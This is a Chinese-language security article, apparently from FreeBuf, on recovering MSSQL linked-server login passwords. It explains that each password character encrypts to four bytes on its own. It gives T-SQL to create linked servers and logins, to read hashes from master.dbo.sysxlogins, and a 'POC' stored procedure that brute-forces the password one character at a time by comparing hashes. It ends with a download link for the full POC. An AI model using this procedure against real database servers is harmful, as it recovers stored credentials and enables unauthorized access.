MSSQL有一个LINKSERVER的功能——链接服务器,每字符加密为4位,不用管加密算法,可以撞出来。
查看我的版本号
然后就执行下面的代码首先查看我的连接
代码语句:Exec sp_helpserver
现在看到数据库里面有6个连接现在我要新建立一个linkserver连接名字为dhlinkserver
第一步,先建立一个linkserver
sp_addlinkedserver 'dhlinkserver','','SQLOLEDB','127.0.0.1','','','master'
可以看到执行成功
再次查看连接,可以看到有7条连接,现在去创建一个表存放HASH值的表
创建linkserver连接过后给连接新添加账号密码
代码区:
EXEC sp_addlinkedsrvlogin
'dhlinkserver', --被访问的服务器别名(如果上面sp_addlinkedserver中使用别名JOY,则这里也是JOY)
'false',
NULL,
'test123', --帐号
'test123' --密码
执行成功后:账号为:test123 密码:test123
查询现在数据库里存储的密码:
语句执行
select name,master.dbo.fn_VarBinToHexStr(password)pass from master.dbo.sysxlogins
我在建立一个名字为:www的linkserver连接
可以看到没有www的linkserver连接
还是一种方法创建 linkserver,下面我使用第二种方法创建,第一种方法连接可以在本文下面第一步细节里面有提到我就不解释了.
第二种创建连接是直接创立连接
exec sp_addlinkedserver @server= 'server'
Server 创建的名字
现在我们查询查询连接是否创建成功
查询语句:Exec sp_helpserver
可以看到:www连接按照我上述讲的,在给www这个连接建立一个用户名为:test12 密码为:test12 我们看看出现的hash是否一样
OK创建成功.查询下密码
可以看到,每字符加密为4位上次添加linkserver连接用户名:test123 密码:test123
这次对比下,少了一位密码字符,他就少了4位加密的算法
用户名:test123 pass:0xc7fb432df59950d1b05c1edb5a6f
用户名:test12 pass:0xc7fb432df59950d1b05c1edb
第二步:创建一个表用于存放计算出来的HASH
执行语句:
create table mssql (list int not null identity (1,1), pass nvarchar(500),code varbinary(256))
sp_dropserver 'dhlinkserver', 'droplogins'
drop table mssql
DROP PROCEDURE pwd
创建表成功,后创建存储破解使用过程
第三步 创建破解用的存储过程
POC:
create procedure pwd
@pwd sysname = NULL
AS
declare @ss varchar(256),@str varchar (256),@getpass varbinary(256)
truncate table mssql
create table #t (inetpub nvarchar(500))
select @ss=@pwd+'abcdefghijklmnopqrstuvwxyz`0123456789-=[]\;,./~!@#$%^&*()_+{}|:<>?'
declare @index int
select @index=1
while (@index <=len(@ss))
begin
insert #t(inetpub) select SUBSTRING (@ss,@index,1)
select @index = @index +1
select @str=@pwd+inetpub from #t
exec master.dbo.sp_addlinkedsrvlogin 'dhlinkserver','false',Null,'xxxx',@str
select @getpass = password from master.dbo.sysxlogins where name ='xxxx'
insert into mssql(pass,code) values (@str,@getpass)
end
select list,pass,master.dbo.fn_VarBinToHexStr(code)code from mssql
drop table #t
第四步,查询现在数据库里存储的密码
elect name,master.dbo.fn_VarBinToHexStr(password)pass from master.dbo.sysxlogins
相关资料科普
第一步细节:
sp_addlinkedserver 'dhlinkserver','','SQLOLEDB','127.0.0.1','','','master'
sp_addlinkedserver
创建一个链接的服务器,使其允许对分布式的、针对 OLE DB 数据源的异类查询进行访问。在使用 sp_addlinkedserver 创建链接的服务器之后,此服务器就可以执行分布式查询。如果链接服务器定义为 Microsoft® SQL Server™,则可执行远程存储过程。
'dhlinkserver' 则是创建的声名这个连接名
'SQLOLEDB' 使用SQLOLEDB远程访问
127.0.0.1 要访问连接的IP
'master'
此连接有他的信息http://www.jb51.net/article/14194.htm
第二部细节:
create table mssql (list int not null identity (1,1), pass nvarchar(500),code varbinary(256))
sp_dropserver 'dhlinkserver', 'droplogins'drop table mssqlDROP PROCEDURE pwd
这个是create table 创建表语句
sp_dropserver
从本地 Microsoft® SQL Server™ 上的已知远程和链接服务器列表中删除服务器。
语法:
sp_dropserver [ @server = ] 'server' [ , [ @droplogins = ] { 'droplogins' | NULL} ]
'dhlinkserver' 这个是上面第一步的时候建立linkserver连接的时候名字
完整测试POC:
链接: http://pan.baidu.com/s/1mgh7QL6 密码: 1n29
*本文作者:h4ckj1n,转载须注明来自FreeBuf黑客与极客(FreeBuf.COM)